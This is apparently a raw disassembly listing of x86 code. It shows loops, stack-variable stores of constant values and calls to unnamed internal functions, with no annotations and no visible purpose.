mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], eax
jl 0x10032343
mov dword [ebp - 0x2c], 0x32cf415d
mov dword [ebp - 0x48], 0xed6b6572
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x1003233e
mov dword [ebp - 0x2c], 0x3bd
cmp dword [ebp - 0x10], eax
jne 0x1003233e
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x10]
push 0
pop eax
jns 0x10032327
dec dword [ebp - 0x24]
jns 0x10032309
or eax, 0xffffffff
lea ecx, [ebp - 0xf5c]
mov dword [ebp - 4], eax
call fcn.10016d18
push 2
mov dword [ebp - 0x4c], esi
lea ecx, [ebp - 0xd64]
pop esi
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x10], 0xc5534bf8
push esi
call fcn.10016cb0
xor eax, eax
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x10], eax
jmp 0x10032399
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd64]
call fcn.10016d1d
mov dword [eax], 0x6f7fbf21
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10032382
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp esi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], eax
jl 0x100323f7
mov dword [ebp - 0x2c], 0x32cf415d
mov dword [ebp - 0x48], 0xed6b6572
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x100323f2
mov dword [ebp - 0x2c], 0x3bd
cmp dword [ebp - 0x10], eax
jne 0x100323f2
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x10]
push 0
pop eax
jns 0x100323db
dec dword [ebp - 0x24]
jns 0x100323bd
or eax, 0xffffffff
lea ecx, [ebp - 0xd64]
mov dword [ebp - 4], eax
call fcn.10016d18
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x1003242a
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd38], 0x55bb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x10032412
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1003244c
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x780], 0xfe223643
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10032433
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], eax
jg 0x1003249b